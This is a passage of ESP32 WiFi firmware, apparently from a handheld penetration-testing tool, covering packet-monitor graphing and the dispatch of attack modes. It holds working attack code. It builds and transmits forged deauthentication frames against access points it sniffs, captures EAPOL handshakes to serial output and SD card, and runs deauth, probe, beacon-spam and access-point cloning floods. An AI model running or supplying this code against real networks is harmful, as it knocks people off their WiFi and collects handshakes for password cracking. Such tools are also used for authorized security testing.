  1984. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1985. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1986. }
  1987. // Found beacon frame. Decide whether to deauth
  1988. if (snifferPacket->payload[0] == 0x80) {
  1989. // Build packet
  1990. uint8_t new_packet[26] = {
  1991. 0xc0, 0x00, 0x3a, 0x01,
  1992. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  1993. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1994. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1995. 0xf0, 0xff, 0x02, 0x00
  1996. };
  1997. new_packet[10] = snifferPacket->payload[10];
  1998. new_packet[11] = snifferPacket->payload[11];
  1999. new_packet[12] = snifferPacket->payload[12];
  2000. new_packet[13] = snifferPacket->payload[13];
  2001. new_packet[14] = snifferPacket->payload[14];
  2002. new_packet[15] = snifferPacket->payload[15];
  2003. new_packet[16] = snifferPacket->payload[10];
  2004. new_packet[17] = snifferPacket->payload[11];
  2005. new_packet[18] = snifferPacket->payload[12];
  2006. new_packet[19] = snifferPacket->payload[13];
  2007. new_packet[20] = snifferPacket->payload[14];
  2008. new_packet[21] = snifferPacket->payload[15];
  2009. // Send packet
  2010. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2011. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2012. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2013. }
  2014. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2015. num_eapol++;
  2016. Serial.println("Received EAPOL:");
  2017. for (int i = 0; i < len; i++) {
  2018. char hexCar[4];
  2019. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2020. Serial.print(hexCar);
  2021. //Serial.print(snifferPacket->payload[i], HEX);
  2022. if ((i + 1) % 16 == 0)
  2023. Serial.print("\n");
  2024. else
  2025. Serial.print(" ");
  2026. }
  2027. Serial.print("\n");
  2028. }
  2029. if (save_packet)
  2030. sd_obj.addPacket(snifferPacket->payload, len);
  2031. }
  2032. #ifdef HAS_SCREEN
  2033. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2034. {
  2035. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2036. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2037. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2038. {
  2039. currentTime = millis();
  2040. do_break = false;
  2041. y_pos_x = 0;
  2042. y_pos_y = 0;
  2043. y_pos_z = 0;
  2044. boolean pressed = false;
  2045. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2046. // Do the touch stuff
  2047. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2048. if (pressed) {
  2049. Serial.print("Got touch | X: ");
  2050. Serial.print(t_x);
  2051. Serial.print(" Y: ");
  2052. Serial.println(t_y);
  2053. }
  2054. // Check buttons for presses
  2055. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2056. {
  2057. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2058. {
  2059. display_obj.key[b].press(true);
  2060. } else {
  2061. display_obj.key[b].press(false);
  2062. }
  2063. }
  2064. // Which buttons pressed
  2065. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2066. {
  2067. if (display_obj.key[b].justPressed())
  2068. {
  2069. Serial.println("Bro, key pressed");
  2070. //do_break = true;
  2071. }
  2072. if (display_obj.key[b].justReleased())
  2073. {
  2074. do_break = true;
  2075. // Channel - button pressed
  2076. if (b == 4) {
  2077. if (set_channel > 1) {
  2078. Serial.println("Shit channel down");
  2079. set_channel--;
  2080. delay(70);
  2081. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2082. //display_obj.tftDrawXScaleButtons(x_scale);
  2083. //display_obj.tftDrawYScaleButtons(y_scale);
  2084. display_obj.tftDrawChannelScaleButtons(set_channel);
  2085. display_obj.tftDrawExitScaleButtons();
  2086. changeChannel();
  2087. break;
  2088. }
  2089. }
  2090. // Channel + button pressed
  2091. else if (b == 5) {
  2092. if (set_channel < MAX_CHANNEL) {
  2093. Serial.println("Shit channel up");
  2094. set_channel++;
  2095. delay(70);
  2096. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2097. //display_obj.tftDrawXScaleButtons(x_scale);
  2098. //display_obj.tftDrawYScaleButtons(y_scale);
  2099. display_obj.tftDrawChannelScaleButtons(set_channel);
  2100. display_obj.tftDrawExitScaleButtons();
  2101. changeChannel();
  2102. break;
  2103. }
  2104. }
  2105. else if (b == 6) {
  2106. Serial.println("Exiting packet monitor...");
  2107. this->StartScan(WIFI_SCAN_OFF);
  2108. //display_obj.tft.init();
  2109. this->orient_display = true;
  2110. return;
  2111. }
  2112. }
  2113. }
  2114. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2115. //Serial.println("-----------------------------------------");
  2116. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2117. x_pos += x_scale;
  2118. initTime = millis();
  2119. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2120. if (y_pos_x >= HEIGHT_1) {
  2121. Serial.println("Max EAPOL number reached. Adjusting...");
  2122. num_eapol = 0;
  2123. }
  2124. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2125. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2126. //Serial.println("num_beacon: " + (String)num_beacon);
  2127. //Serial.println("num_deauth: " + (String)num_deauth);
  2128. //Serial.println(" num_probe: " + (String)num_probe);
  2129. //num_beacon = 0;
  2130. //num_probe = 0;
  2131. //num_deauth = 0;
  2132. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2133. //Plot "X" value
  2134. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2135. //Plot "Z" value
  2136. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2137. //Plot "Y" value
  2138. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2139. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2140. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2141. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2142. {
  2143. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2144. }
  2145. else
  2146. {
  2147. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2148. }
  2149. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2150. //if (x_pos <= 90)
  2151. if (x_pos < 0) // below x axis
  2152. {
  2153. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2154. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2155. }
  2156. else
  2157. {
  2158. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2159. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2160. }
  2161. //tftDisplayTime();
  2162. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2163. {
  2164. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2165. }
  2166. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2167. //y_pos_y_old = y_pos_y;
  2168. //y_pos_z_old = y_pos_z;
  2169. //delay(50);
  2170. }
  2171. sd_obj.main();
  2172. }
  2173. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2174. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2175. display_obj.tftDrawChannelScaleButtons(set_channel);
  2176. display_obj.tftDrawExitScaleButtons();
  2177. display_obj.tftDrawEapolColorKey();
  2178. display_obj.tftDrawGraphObjects(x_scale);
  2179. }
  2180. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2181. {
  2182. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2183. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2184. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2185. {
  2186. currentTime = millis();
  2187. do_break = false;
  2188. y_pos_x = 0;
  2189. y_pos_y = 0;
  2190. y_pos_z = 0;
  2191. boolean pressed = false;
  2192. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2193. // Do the touch stuff
  2194. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2195. if (pressed) {
  2196. Serial.print("Got touch | X: ");
  2197. Serial.print(t_x);
  2198. Serial.print(" Y: ");
  2199. Serial.println(t_y);
  2200. }
  2201. // Check buttons for presses
  2202. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2203. {
  2204. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2205. {
  2206. display_obj.key[b].press(true);
  2207. } else {
  2208. display_obj.key[b].press(false);
  2209. }
  2210. }
  2211. // Which buttons pressed
  2212. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2213. {
  2214. if (display_obj.key[b].justPressed())
  2215. {
  2216. Serial.println("Bro, key pressed");
  2217. //do_break = true;
  2218. }
  2219. if (display_obj.key[b].justReleased())
  2220. {
  2221. do_break = true;
  2222. // X - button pressed
  2223. if (b == 0) {
  2224. if (x_scale > 1) {
  2225. x_scale--;
  2226. delay(70);
  2227. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2228. display_obj.tftDrawXScaleButtons(x_scale);
  2229. display_obj.tftDrawYScaleButtons(y_scale);
  2230. display_obj.tftDrawChannelScaleButtons(set_channel);
  2231. display_obj.tftDrawExitScaleButtons();
  2232. break;
  2233. }
  2234. }
  2235. // X + button pressed
  2236. else if (b == 1) {
  2237. if (x_scale < 6) {
  2238. x_scale++;
  2239. delay(70);
  2240. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2241. display_obj.tftDrawXScaleButtons(x_scale);
  2242. display_obj.tftDrawYScaleButtons(y_scale);
  2243. display_obj.tftDrawChannelScaleButtons(set_channel);
  2244. display_obj.tftDrawExitScaleButtons();
  2245. break;
  2246. }
  2247. }
  2248. // Y - button pressed
  2249. else if (b == 2) {
  2250. if (y_scale > 1) {
  2251. y_scale--;
  2252. delay(70);
  2253. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2254. display_obj.tftDrawXScaleButtons(x_scale);
  2255. display_obj.tftDrawYScaleButtons(y_scale);
  2256. display_obj.tftDrawChannelScaleButtons(set_channel);
  2257. display_obj.tftDrawExitScaleButtons();
  2258. //updateMidway();
  2259. break;
  2260. }
  2261. }
  2262. // Y + button pressed
  2263. else if (b == 3) {
  2264. if (y_scale < 9) {
  2265. y_scale++;
  2266. delay(70);
  2267. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2268. display_obj.tftDrawXScaleButtons(x_scale);
  2269. display_obj.tftDrawYScaleButtons(y_scale);
  2270. display_obj.tftDrawChannelScaleButtons(set_channel);
  2271. display_obj.tftDrawExitScaleButtons();
  2272. //updateMidway();
  2273. break;
  2274. }
  2275. }
  2276. // Channel - button pressed
  2277. else if (b == 4) {
  2278. if (set_channel > 1) {
  2279. Serial.println("Shit channel down");
  2280. set_channel--;
  2281. delay(70);
  2282. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2283. display_obj.tftDrawXScaleButtons(x_scale);
  2284. display_obj.tftDrawYScaleButtons(y_scale);
  2285. display_obj.tftDrawChannelScaleButtons(set_channel);
  2286. display_obj.tftDrawExitScaleButtons();
  2287. changeChannel();
  2288. break;
  2289. }
  2290. }
  2291. // Channel + button pressed
  2292. else if (b == 5) {
  2293. if (set_channel < MAX_CHANNEL) {
  2294. Serial.println("Shit channel up");
  2295. set_channel++;
  2296. delay(70);
  2297. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2298. display_obj.tftDrawXScaleButtons(x_scale);
  2299. display_obj.tftDrawYScaleButtons(y_scale);
  2300. display_obj.tftDrawChannelScaleButtons(set_channel);
  2301. display_obj.tftDrawExitScaleButtons();
  2302. changeChannel();
  2303. break;
  2304. }
  2305. }
  2306. else if (b == 6) {
  2307. Serial.println("Exiting packet monitor...");
  2308. this->StartScan(WIFI_SCAN_OFF);
  2309. //display_obj.tft.init();
  2310. this->orient_display = true;
  2311. return;
  2312. }
  2313. }
  2314. }
  2315. if (currentTime - initTime >= GRAPH_REFRESH) {
  2316. //Serial.println("-----------------------------------------");
  2317. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2318. x_pos += x_scale;
  2319. initTime = millis();
  2320. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2321. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2322. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2323. //Serial.println("num_beacon: " + (String)num_beacon);
  2324. //Serial.println("num_deauth: " + (String)num_deauth);
  2325. //Serial.println(" num_probe: " + (String)num_probe);
  2326. num_beacon = 0;
  2327. num_probe = 0;
  2328. num_deauth = 0;
  2329. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2330. //Plot "X" value
  2331. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2332. //Plot "Z" value
  2333. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2334. //Plot "Y" value
  2335. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2336. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2337. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2338. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2339. {
  2340. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2341. }
  2342. else
  2343. {
  2344. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2345. }
  2346. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2347. //if (x_pos <= 90)
  2348. if (x_pos < 0) // below x axis
  2349. {
  2350. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2351. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2352. }
  2353. else
  2354. {
  2355. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2356. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2357. }
  2358. //tftDisplayTime();
  2359. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2360. {
  2361. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2362. }
  2363. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2364. y_pos_y_old = y_pos_y;
  2365. y_pos_z_old = y_pos_z;
  2366. //delay(50);
  2367. }
  2368. sd_obj.main();
  2369. }
  2370. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2371. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2372. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2373. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2374. display_obj.tftDrawYScaleButtons(y_scale);
  2375. display_obj.tftDrawChannelScaleButtons(set_channel);
  2376. display_obj.tftDrawExitScaleButtons();
  2377. display_obj.tftDrawColorKey();
  2378. display_obj.tftDrawGraphObjects(x_scale);
  2379. }
  2380. #endif
  2381. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2382. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2383. // showMetadata(snifferPacket, type);
  2384. //}
  2385. void WiFiScan::changeChannel()
  2386. {
  2387. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2388. delay(1);
  2389. }
  2390. // Function to cycle to the next channel
  2391. void WiFiScan::channelHop()
  2392. {
  2393. this->set_channel = this->set_channel + 1;
  2394. if (this->set_channel > 13) {
  2395. this->set_channel = 1;
  2396. }
  2397. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2398. delay(1);
  2399. }
  2400. char* WiFiScan::stringToChar(String string) {
  2401. char buf[string.length() + 1] = {};
  2402. string.toCharArray(buf, string.length() + 1);
  2403. return buf;
  2404. }
  2405. // Function for updating scan status
  2406. void WiFiScan::main(uint32_t currentTime)
  2407. {
  2408. // WiFi operations
  2409. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2410. (currentScanMode == WIFI_SCAN_AP) ||
  2411. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2412. (currentScanMode == WIFI_SCAN_PWN) ||
  2413. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2414. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2415. (currentScanMode == WIFI_SCAN_ALL))
  2416. {
  2417. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2418. {
  2419. initTime = millis();
  2420. channelHop();
  2421. }
  2422. }
  2423. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2424. {
  2425. #ifdef HAS_SCREEN
  2426. packetMonitorMain(currentTime);
  2427. #endif
  2428. }
  2429. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2430. {
  2431. #ifdef HAS_SCREEN
  2432. eapolMonitorMain(currentTime);
  2433. #endif
  2434. }
  2435. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2436. {
  2437. #ifdef HAS_SCREEN
  2438. eapolMonitorMain(currentTime);
  2439. #endif
  2440. }
  2441. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2442. for (int i = 0; i < 55; i++)
  2443. this->sendProbeAttack(currentTime);
  2444. if (currentTime - initTime >= 1000) {
  2445. initTime = millis();
  2446. String displayString = "";
  2447. String displayString2 = "";
  2448. displayString.concat(text18);
  2449. displayString.concat(packets_sent);
  2450. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2451. displayString2.concat(" ");
  2452. #ifdef HAS_SCREEN
  2453. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2454. display_obj.showCenterText(displayString2, 160);
  2455. display_obj.showCenterText(displayString, 160);
  2456. #endif
  2457. packets_sent = 0;
  2458. }
  2459. }
  2460. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2461. for (int i = 0; i < 55; i++)
  2462. this->sendDeauthAttack(currentTime);
  2463. if (currentTime - initTime >= 1000) {
  2464. initTime = millis();
  2465. String displayString = "";
  2466. String displayString2 = "";
  2467. displayString.concat(text18);
  2468. displayString.concat(packets_sent);
  2469. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2470. displayString2.concat(" ");
  2471. #ifdef HAS_SCREEN
  2472. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2473. display_obj.showCenterText(displayString2, 160);
  2474. display_obj.showCenterText(displayString, 160);
  2475. #endif
  2476. packets_sent = 0;
  2477. }
  2478. }
  2479. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2480. // Need this for loop because getTouch causes ~10ms delay
  2481. // which makes beacon spam less effective
  2482. for (int i = 0; i < access_points->size(); i++) {
  2483. if (access_points->get(i).selected)
  2484. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2485. random(256),
  2486. random(256),
  2487. random(256),
  2488. random(256),
  2489. random(256)}});
  2490. }
  2491. if (currentTime - initTime >= 1000)
  2492. {
  2493. initTime = millis();
  2494. //Serial.print("packets/sec: ");
  2495. //Serial.println(packets_sent);
  2496. String displayString = "";
  2497. String displayString2 = "";
  2498. displayString.concat(text18);
  2499. displayString.concat(packets_sent);
  2500. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2501. displayString2.concat(" ");
  2502. #ifdef HAS_SCREEN
  2503. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2504. display_obj.showCenterText(displayString2, 160);
  2505. display_obj.showCenterText(displayString, 160);
  2506. #endif
  2507. packets_sent = 0;
  2508. }
  2509. }
  2510. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2511. {
  2512. // Need this for loop because getTouch causes ~10ms delay
  2513. // which makes beacon spam less effective
  2514. for (int i = 0; i < 55; i++)
  2515. broadcastRandomSSID(currentTime);
  2516. if (currentTime - initTime >= 1000)
  2517. {
  2518. initTime = millis();
  2519. //Serial.print("packets/sec: ");
  2520. //Serial.println(packets_sent);
  2521. String displayString = "";
  2522. String displayString2 = "";
  2523. displayString.concat(text18);
  2524. displayString.concat(packets_sent);
  2525. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2526. displayString2.concat(" ");
  2527. #ifdef HAS_SCREEN
  2528. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2529. display_obj.showCenterText(displayString2, 160);
  2530. display_obj.showCenterText(displayString, 160);
  2531. #endif
  2532. packets_sent = 0;
  2533. }
  2534. }
  2535. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2536. for (int i = 0; i < ssids->size(); i++)
  2537. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2538. if (currentTime - initTime >= 1000)
  2539. {
  2540. initTime = millis();
  2541. packets_sent = 0;
  2542. }
  2543. }
  2544. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2545. for (int i = 0; i < access_points->size(); i++) {
  2546. if (access_points->get(i).selected)
  2547. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2548. }
  2549. if (currentTime - initTime >= 1000) {
  2550. initTime = millis();
  2551. packets_sent = 0;
  2552. }
  2553. }
  2554. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2555. {
  2556. // Need this for loop because getTouch causes ~10ms delay
  2557. // which makes beacon spam less effective
  2558. for (int i = 0; i < 7; i++)
  2559. {
  2560. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2561. {
  2562. broadcastSetSSID(currentTime, rick_roll[x]);
  2563. }
  2564. }
  2565. if (currentTime - initTime >= 1000)
  2566. {
  2567. initTime = millis();
  2568. //Serial.print("packets/sec: ");
  2569. //Serial.println(packets_sent);
  2570. String displayString = "";
  2571. String displayString2 = "";
  2572. displayString.concat(text18);
  2573. displayString.concat(packets_sent);
  2574. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2575. displayString2.concat(" ");
  2576. #ifdef HAS_SCREEN
  2577. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2578. display_obj.showCenterText(displayString2, 160);
  2579. display_obj.showCenterText(displayString, 160);
  2580. #endif
  2581. packets_sent = 0;
  2582. }
  2583. }
  2584. }